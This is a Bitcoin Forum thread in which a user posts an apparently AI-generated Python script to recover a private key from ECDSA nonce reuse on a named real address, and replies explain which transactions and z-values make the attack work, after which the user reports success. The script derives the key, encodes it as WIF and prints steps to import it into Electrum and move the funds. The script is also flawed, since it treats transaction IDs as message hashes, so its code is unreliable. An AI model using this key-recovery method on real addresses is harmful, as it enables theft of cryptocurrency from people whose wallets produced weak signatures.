Bitcoin Forum
September 16, 2025, 11:09:11 PM *
News: Latest Bitcoin Core release: 29.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: How does getting the private key and nonce from a nonce reuse work?  (Read 215 times)
fairmuffin (OP)
Newbie
*
Offline Offline

Activity: 31
Merit: 0


View Profile
April 01, 2025, 06:29:54 PM
 #1

Hi there!

So I've been researching about nonces lately, and found an address that reused many nonces across its transactions. The address is empty obviously; however, the Python code generated by Sonnet 3.7 doesn't seem to give the correct one, and I am not super sure what's the issue. Here's the code for instance:

Code:
import hashlib
import binascii
import base58
from ecdsa import SigningKey, SECP256k1, util

def extract_r_s_from_signature(signature):
    # Remove the [ALL] suffix if present
    signature = signature.split('[ALL]')[0]
   
    # The signature is in DER format
    # Extract the raw hex string
    hex_str = signature
   
    # Skip the first 4 bytes (30 + length + 02 + r_length) to get to r
    r_start = 8  # Skip '3044' and '0220'
    r_end = r_start + 64  # r is 32 bytes (64 hex chars)
    r_hex = hex_str[r_start:r_end]
   
    # After r, there's another 02 marker and length byte for s
    s_start = r_end + 4  # Skip '02' and '20' (or '21' if s has a leading zero)
    s_hex = hex_str[s_start:]
   
    return int(r_hex, 16), int(s_hex, 16)

def calculate_private_key(z1, z2, s1, s2, r):
    # Calculate private key from two different signatures with the same r value
    s1_minus_s2 = (s1 - s2) % SECP256k1.order
    z1_minus_z2 = (z1 - z2) % SECP256k1.order
   
    # Calculate the modular inverse
    s1_minus_s2_inv = pow(s1_minus_s2, -1, SECP256k1.order)
   
    # Calculate private key
    private_key = (z1_minus_z2 * s1_minus_s2_inv) % SECP256k1.order
    return private_key

def calculate_nonce(z, s, r, private_key):
    # Calculate the nonce (k) used in the signature
    r_inv = pow(r, -1, SECP256k1.order)
    nonce = (r_inv * ((s * private_key) - z)) % SECP256k1.order
    return nonce

def private_key_to_wif(private_key_hex, compressed=True):
    # Add version byte (0x80 for mainnet)
    extended_key = "80" + private_key_hex
   
    # Add compression flag if needed
    if compressed:
        extended_key += "01"
   
    # First round of SHA-256
    first_sha = hashlib.sha256(binascii.unhexlify(extended_key)).digest()
   
    # Second round of SHA-256
    second_sha = hashlib.sha256(first_sha).digest()
   
    # First 4 bytes of the second SHA-256 hash are the checksum
    checksum = binascii.hexlify(second_sha[:4]).decode()
   
    # Add the checksum to the extended key
    wif_key = extended_key + checksum
   
    # Convert to base58
    wif = base58.b58encode(binascii.unhexlify(wif_key)).decode()
   
    return wif

def verify_private_key(private_key_hex, public_key_hex):
    # Convert private key to SigningKey
    private_key_bytes = bytes.fromhex(private_key_hex)
    sk = SigningKey.from_string(private_key_bytes, curve=SECP256k1)
   
    # Get public key from private key
    vk = sk.get_verifying_key()
   
    # Adjust for compressed public key format
    computed_x = vk.pubkey.point.x()
    computed_y = vk.pubkey.point.y()
   
    # Check if y is even or odd for the compressed format prefix
    prefix = '02' if computed_y % 2 == 0 else '03'
    computed_compressed = prefix + hex(computed_x)[2:].zfill(64)
   
    return computed_compressed == public_key_hex

def main():
    # Data from the first signature
    address = "1BTrViTDXhWrdw5ErBWSyP5LdzYmeuDTr2"
    public_key = "03c88e78a3f105d99b7b0643f3cfca56bad5ffd2c8e1bc055d8c6d51475bc6b2cf"
    tx_hash1 = "223d80bffcb8cc519f23d6e7795693c5c0b25a1f3c477a96632f875c067d2439"
    r_value = "0c9a907263e472822c3afc1df2f87c95b9c8f9956ab891a3f7b3f482fc16814d"
    sig1 = "304402200c9a907263e472822c3afc1df2f87c95b9c8f9956ab891a3f7b3f482fc16814d022055dde0ae98f2ffad66a888c3ea22d8de0635062b65ff06b75191e4085035fa61"
   
    # Data from the second signature
    tx_hash2 = "8b044016b8307dd8aefe5dcb61cfac97c01122f578fc7e4192472c45405e0a74"
    sig2 = "304402200c9a907263e472822c3afc1df2f87c95b9c8f9956ab891a3f7b3f482fc16814d022061f915743d2dadd8856c53405a4fb8e1e0ee974a852dbc2c89649e790dd157ac"
   
    # Print the actual R-value for debugging
    print(f"Expected R-value: {r_value}")
   
    # Directly use the R-value from the input
    r = int(r_value, 16)
   
    # Extract S values from signatures - we'll only extract S since we know R
    _, s1 = extract_r_s_from_signature(sig1)
    _, s2 = extract_r_s_from_signature(sig2)
   
    print(f"S1: {hex(s1)[2:]}")
    print(f"S2: {hex(s2)[2:]}")
   
    # Convert transaction hashes to integers
    z1 = int(tx_hash1, 16)
    z2 = int(tx_hash2, 16)
   
    # Calculate the private key
    private_key = calculate_private_key(z1, z2, s1, s2, r)
    private_key_hex = hex(private_key)[2:].zfill(64)
   
    # Generate compressed WIF format private key (for Electrum)
    wif_compressed = private_key_to_wif(private_key_hex, compressed=True)
   
    # Calculate the nonce used
    nonce = calculate_nonce(z1, s1, r, private_key)
    nonce_hex = hex(nonce)[2:].zfill(64)
   
    # Verify if the calculated private key corresponds to the public key
    is_valid = verify_private_key(private_key_hex, public_key)
   
    print(f"Found private key (hex): {private_key_hex}")
    print(f"Compressed WIF for Electrum: {wif_compressed}")
    print(f"Nonce (k) used: {nonce_hex}")
    print(f"Private key verification: {'Successful' if is_valid else 'Failed'}")
   
    # Print instructions for using in Electrum
    print("\n=== ELECTRUM IMPORT INSTRUCTIONS ===")
    print("1. Open Electrum wallet")
    print("2. Go to Wallet -> Private Keys -> Import")
    print("3. Paste the Compressed WIF key")
    print("4. Electrum will scan for transactions and show any balance associated with this key")
    print("5. Transfer any funds to a new, secure wallet immediately")

if __name__ == "__main__":
    main()

Address involved:
1BTrViTDXhWrdw5ErBWSyP5LdzYmeuDTr2
Transaction 1 I chose: 223d80bffcb8cc519f23d6e7795693c5c0b25a1f3c477a96632f875c067d2439
Transaction 2 I chose: 8b044016b8307dd8aefe5dcb61cfac97c01122f578fc7e4192472c45405e0a74

What I am doing wrong?
nc50lc
Legendary
*
Offline Offline

Activity: 2898
Merit: 7613


Self-proclaimed Genius


View Profile
April 02, 2025, 04:48:09 AM
Merited by vapourminer (1), ABCbits (1)
 #2

Code:
     tx_hash1 = "223d80bffcb8cc519f23d6e7795693c5c0b25a1f3c477a96632f875c067d2439"
    tx_hash2 = "8b044016b8307dd8aefe5dcb61cfac97c01122f578fc7e4192472c45405e0a74"
    -snip-
    # Convert transaction hashes to integers
    z1 = int(tx_hash1, 16)
    z2 = int(tx_hash2, 16)
This wont fix the core issue but just a pointer:

Those "tx_hash" aren't the Transaction IDs of the inputs that has the same R-value.
Since the code is pertaining to those as "z1" and "z2", it's meant to be the "message hash" (Z-value) of each transaction.

fairmuffin (OP)
Newbie
*
Offline Offline

Activity: 31
Merit: 0


View Profile
April 02, 2025, 05:10:33 PM
 #3

Code:
     tx_hash1 = "223d80bffcb8cc519f23d6e7795693c5c0b25a1f3c477a96632f875c067d2439"
    tx_hash2 = "8b044016b8307dd8aefe5dcb61cfac97c01122f578fc7e4192472c45405e0a74"
    -snip-
    # Convert transaction hashes to integers
    z1 = int(tx_hash1, 16)
    z2 = int(tx_hash2, 16)
This wont fix the core issue but just a pointer:

Those "tx_hash" aren't the Transaction IDs of the inputs that has the same R-value.
Since the code is pertaining to those as "z1" and "z2", it's meant to be the "message hash" (Z-value) of each transaction.

Thanks for looking! I can see that the address in question isn't as input but rather output; however, I am a bit at loss here since this address was reported as compromised back when the vulnerability was discovered. So far, it repeated the R value from another address where the address in question was as output. Not sure what specific transactions they may have used then, to report this one as compromised.
mcdouglasx
Sr. Member
****
Offline Offline

Activity: 756
Merit: 408



View Profile WWW
April 03, 2025, 02:51:35 AM
 #4

I suppose you're referring to this: https://allprivatekeys.com/random-vulnerability. Well, they explain the process there in detail.
The address you mention is listed there.

▄▄█████████████████▄▄
▄█████████████████████▄
███▀▀█████▀▀░░▀▀███████

██▄░░▀▀░░▄▄██▄░░█████
█████░░░████████░░█████
████▌░▄░░█████▀░░██████
███▌░▐█▌░░▀▀▀▀░░▄██████
███░░▌██░░▄░░▄█████████
███▌░▀▄▀░░█▄░░█████████
████▄░░░▄███▄░░▀▀█▀▀███
██████████████▄▄░░░▄███
▀█████████████████████▀
▀▀█████████████████▀▀
Rainbet.com
CRYPTO CASINO & SPORTSBOOK
|
█▄█▄█▄███████▄█▄█▄█
███████████████████
███████████████████
███████████████████
█████▀█▀▀▄▄▄▀██████
█████▀▄▀████░██████
█████░██░█▀▄███████
████▄▀▀▄▄▀███████
█████████▄▀▄███
█████████████████
███████████████████
██████████████████
███████████████████
 
 $20,000 
WEEKLY RAFFLE
|



█████████
█████████ ██
▄▄█░▄░▄█▄░▄░█▄▄
▀██░▐█████▌░██▀
▄█▄░▀▀▀▀▀░▄█▄
▀▀▀█▄▄░▄▄█▀▀▀
▀█▀░▀█▀
10K
WEEKLY
RACE
100K
MONTHLY
RACE
|

██









█████
███████
███████
█▄
██████
████▄▄
█████████████▄
███████████████▄
░▄████████████████▄
▄██████████████████▄
███████████████▀████
██████████▀██████████
██████████████████
░█████████████████▀
░░▀███████████████▀
████▀▀███
███████▀▀
████████████████████   ██
 
[..►PLAY..]
 
████████   ██████████████
nc50lc
Legendary
*
Offline Offline

Activity: 2898
Merit: 7613


Self-proclaimed Genius


View Profile
April 03, 2025, 04:10:45 AM
 #5

So far, it repeated the R value from another address where the address in question was as output. Not sure what specific transactions they may have used then, to report this one as compromised.
You should be looking for transactions with inputs containing matching R-values that has the same public key.

In that address' case, these are the transactions that spent those outputs:
  • 9173e0721afdb0ef1abd76b7f1b73c584728156e9bb865bc97e47b444f171ec2
  • 637c73f6f1d7bc8c37f5b0de1c8a9cd16a4a58407a966b6088f891e0859d793d
Both first inputs have matching R-value in the signature and showing the same pubKey.

But those hashes are not the z-values that the script needs, it has to be re-created from the transaction data itself.
You can use any any RSZ tool (example) to conveniently get those values.
Then, use the shared Python script in this answer instead of that AI-generated script: https://bitcoin.stackexchange.com/a/110827, the output isn't WIF though.

fairmuffin (OP)
Newbie
*
Offline Offline

Activity: 31
Merit: 0


View Profile
April 03, 2025, 05:44:38 PM
 #6

I suppose you're referring to this: https://allprivatekeys.com/random-vulnerability. Well, they explain the process there in detail.
The address you mention is listed there.

Yes but it didn't make sense to me a lot, since the example they gave was, for one transaction which had the same public key do the repeat.
So far, it repeated the R value from another address where the address in question was as output. Not sure what specific transactions they may have used then, to report this one as compromised.
You should be looking for transactions with inputs containing matching R-values that has the same public key.

In that address' case, these are the transactions that spent those outputs:
  • 9173e0721afdb0ef1abd76b7f1b73c584728156e9bb865bc97e47b444f171ec2
  • 637c73f6f1d7bc8c37f5b0de1c8a9cd16a4a58407a966b6088f891e0859d793d
Both first inputs have matching R-value in the signature and showing the same pubKey.

But those hashes are not the z-values that the script needs, it has to be re-created from the transaction data itself.
You can use any any RSZ tool (example) to conveniently get those values.
Then, use the shared Python script in this answer instead of that AI-generated script: https://bitcoin.stackexchange.com/a/110827, the output isn't WIF though.

That worked perfectly! Thank you a lot, that's exactly what I needed!
mcdouglasx
Sr. Member
****
Offline Offline

Activity: 756
Merit: 408



View Profile WWW
April 03, 2025, 06:09:47 PM
 #7

I suppose you're referring to this: https://allprivatekeys.com/random-vulnerability. Well, they explain the process there in detail.
The address you mention is listed there.
Yes but it didn't make sense to me a lot, since the example they gave was, for one transaction which had the same public key do the repeat.

Ok, summarizing for future reference, the possible vulnerabilities are:


1- A public key generates two signatures using the same nonce.

2- A public key generates a signature reusing a vulnerable nonce, as in case 1 (knowing the value of k  allows the derivation of the private key from all signatures that use it).

3- Signatures with vulnerable nonces that have low entropy (few bits).

4- Signatures where the differences between nonces are minimal.

5- Signatures generated with a predictable randomness system, such as Mersenne Twister.

▄▄█████████████████▄▄
▄█████████████████████▄
███▀▀█████▀▀░░▀▀███████

██▄░░▀▀░░▄▄██▄░░█████
█████░░░████████░░█████
████▌░▄░░█████▀░░██████
███▌░▐█▌░░▀▀▀▀░░▄██████
███░░▌██░░▄░░▄█████████
███▌░▀▄▀░░█▄░░█████████
████▄░░░▄███▄░░▀▀█▀▀███
██████████████▄▄░░░▄███
▀█████████████████████▀
▀▀█████████████████▀▀
Rainbet.com
CRYPTO CASINO & SPORTSBOOK
|
█▄█▄█▄███████▄█▄█▄█
███████████████████
███████████████████
███████████████████
█████▀█▀▀▄▄▄▀██████
█████▀▄▀████░██████
█████░██░█▀▄███████
████▄▀▀▄▄▀███████
█████████▄▀▄███
█████████████████
███████████████████
██████████████████
███████████████████
 
 $20,000 
WEEKLY RAFFLE
|



█████████
█████████ ██
▄▄█░▄░▄█▄░▄░█▄▄
▀██░▐█████▌░██▀
▄█▄░▀▀▀▀▀░▄█▄
▀▀▀█▄▄░▄▄█▀▀▀
▀█▀░▀█▀
10K
WEEKLY
RACE
100K
MONTHLY
RACE
|

██









█████
███████
███████
█▄
██████
████▄▄
█████████████▄
███████████████▄
░▄████████████████▄
▄██████████████████▄
███████████████▀████
██████████▀██████████
██████████████████
░█████████████████▀
░░▀███████████████▀
████▀▀███
███████▀▀
████████████████████   ██
 
[..►PLAY..]
 
████████   ██████████████
fairmuffin (OP)
Newbie
*
Offline Offline

Activity: 31
Merit: 0


View Profile
April 04, 2025, 02:05:25 PM
 #8

I suppose you're referring to this: https://allprivatekeys.com/random-vulnerability. Well, they explain the process there in detail.
The address you mention is listed there.
Yes but it didn't make sense to me a lot, since the example they gave was, for one transaction which had the same public key do the repeat.

Ok, summarizing for future reference, the possible vulnerabilities are:


1- A public key generates two signatures using the same nonce.

2- A public key generates a signature reusing a vulnerable nonce, as in case 1 (knowing the value of k  allows the derivation of the private key from all signatures that use it).

3- Signatures with vulnerable nonces that have low entropy (few bits).

4- Signatures where the differences between nonces are minimal.

5- Signatures generated with a predictable randomness system, such as Mersenne Twister.

That sums it up, yes. But how would you know that a signature has a vulnerable nonce with low entropy?
Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!